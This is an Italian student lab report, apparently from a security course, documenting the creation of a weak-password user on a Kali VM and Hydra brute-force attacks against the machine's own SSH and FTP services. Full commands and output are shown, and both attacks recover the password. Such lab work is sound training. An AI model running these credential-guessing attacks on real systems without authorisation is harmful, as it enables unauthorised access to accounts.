PROGETTO S6L5
TRACCIA:

- Una prima fase dove insieme vedremo l’abilitazione di un servizio SSH e la relativa sessione di cracking dell’autenticazione con Hydra.
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

FASE 1:
Creiamo un utente vulnerabile utilizzando il comando “adduser”:

```
┌──(kali㉿kali)-[~]
└─$ sudo adduser test_user
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] y
```

Attiviamo il servizio SSH e lo connettiamo al nuovo utente tramite l’IP di Kali:

```
┌──(kali㉿kali)-[~]
└─$  sudo service ssh start

┌──(kali㉿kali)-[~]
└─$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:b4:a1:05 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.33/24 brd 192.168.1.255 scope global dynamic noprefixroute eth0
       valid_lft 84291sec preferred_lft 84291sec
    inet6 fe80::e1ce:3ab7:27b8:8be/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

┌──(kali㉿kali)-[~]
└─$ ssh test_user@192.168.1.33
The authenticity of host '192.168.1.33 (192.168.1.33)' can't be established.
ED25519 key fingerprint is SHA256:sPnBEGBfl2oV+OoqAqmpVxUjuJOIGVyXfZQJNCslfbk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.1.33' (ED25519) to the list of known hosts.
test_user@192.168.1.33's password:
Linux kali 6.12.25-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.25-1kali1 (2025-04-30) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```

Tornando nell’account KALI controllo se ho installato il pacchetto “seclists”:

```
┌──(kali㉿kali)-[~]
└─$ sudo apt install seclists
seclists is already the newest version (2025.1-0kali1).
The following packages were automatically installed and are no longer required:
  icu-devtools     libdnnl3      libfuse3-3     libglapi-mesa  libjxl0.10  libopenh264-7  libpython3.12-minimal  libpython3.12t64  python3-setproctitle  ruby-zeitwerk
  libabsl20230802  libflac12t64  libgeos3.13.0  libicu-dev     liblbfgsb0  libpoppler145  libpython3.12-stdlib   libxnnpack0       python3.12-tk         strongswan
Use 'sudo apt autoremove' to remove them.

Summary:
  Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 1
```

nel terminale inseriamo il comando “ hydra -L user.txt -P password.txt ssh://192.168.1.33 -vV -f -t4 -I ”, hydra svolgerà le combinazioni di username e password all’interno delle liste e troverà quelal corretta:

```
┌──(kali㉿kali)-[~]
└─$ hydra -L user.txt -P password.txt ssh://192.168.1.33 -vV -f -t4 -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizatio
ns, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 07:38:18
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 36 login tries (l:6/p:6), ~9 tries per task
[DATA] attacking ssh://192.168.1.33:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://test_user@192.168.1.33:22
[INFO] Successful, password authentication is supported by ssh://192.168.1.33:22
[ATTEMPT] target 192.168.1.33 - login "test_user" - pass "password" - 1 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.1.33 - login "test_user" - pass "admin" - 2 of 36 [child 1] (0/0)
[ATTEMPT] target 192.168.1.33 - login "test_user" - pass "guest" - 3 of 36 [child 2] (0/0)
[ATTEMPT] target 192.168.1.33 - login "test_user" - pass "msfadmin" - 4 of 36 [child 3] (0/0)
[22][ssh] host: 192.168.1.33   login: test_user   password: password
[STATUS] attack finished for 192.168.1.33 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-09 07:38:18
```

FASE 2.
configuriamo il servizio di rete ftp installando i lservizio con “sudo apt install vsftpd” poi avviandolo

```
┌──(kali㉿kali)-[~]
└─$ sudo apt install vsftpd
[sudo] password for kali:
The following packages were automatically installed and are no longer required:
  icu-devtools     libfuse3-3     libjxl0.10     libpython3.12-minimal  python3-setproctitle
  libabsl20230802  libgeos3.13.0  liblbfgsb0     libpython3.12-stdlib   python3.12-tk
  libdnnl3         libglapi-mesa  libopenh264-7  libpython3.12t64       ruby-zeitwerk
  libflac12t64     libicu-dev     libpoppler145  libxnnpack0            strongswan
Use 'sudo apt autoremove' to remove them.

Installing:
  vsftpd

Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 1
  Download size: 143 kB
  Space needed: 352 kB / 59.0 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.1 [143 kB]
Fetched 143 kB in 0s (306 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 426118 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.5-0.1_amd64.deb ...
Unpacking vsftpd (3.0.5-0.1) ...
Setting up vsftpd (3.0.5-0.1) ...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /var/run/vsftpd/e
mpty → /run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.13.0-1) ...
Processing triggers for kali-menu (2025.2.2) ...
```

```
┌──(kali㉿kali)-[~]
└─$ sudo service vsftpd start

┌──(kali㉿kali)-[~]
└─$ sudo service vsftpd status
● vsftpd.service - vsftpd FTP server
     Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)
     Active: active (running) since Fri 2025-05-09 07:49:12 EDT; 11s ago
  Invocation: 6539a36c909f455bacf7e94ce96f1027
    Process: 137251 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SUCCESS)
   Main PID: 137253 (vsftpd)
      Tasks: 1 (limit: 9382)
     Memory: 896K (peak: 1.8M)
        CPU: 12ms
     CGroup: /system.slice/vsftpd.service
             └─137253 /usr/sbin/vsftpd /etc/vsftpd.conf

May 09 07:49:12 kali systemd[1]: Starting vsftpd.service - vsftpd FTP server...
May 09 07:49:12 kali systemd[1]: Started vsftpd.service - vsftpd FTP server.
```

con hydra prosiamo a craccare questo servizio:

```
┌──(kali㉿kali)-[~]
└─$ hydra -L user.txt -P password.txt ftp://192.168.1.33 -vV -f -I -t4
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizatio
ns, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 07:57:10
[DATA] max 4 tasks per 1 server, overall 4 tasks, 36 login tries (l:6/p:6), ~9 tries per task
[DATA] attacking ftp://192.168.1.33:21/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 192.168.1.33 - login "test_user" - pass "password" - 1 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.1.33 - login "test_user" - pass "admin" - 2 of 36 [child 1] (0/0)
[ATTEMPT] target 192.168.1.33 - login "test_user" - pass "guest" - 3 of 36 [child 2] (0/0)
[ATTEMPT] target 192.168.1.33 - login "test_user" - pass "msfadmin" - 4 of 36 [child 3] (0/0)
[21][ftp] host: 192.168.1.33   login: test_user   password: password
[STATUS] attack finished for 192.168.1.33 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-09 07:57:11
```

Conclusioni:
con hydra è facile trovare username e password da una lista che hai scritto tu in precedenza, un ottimo tool.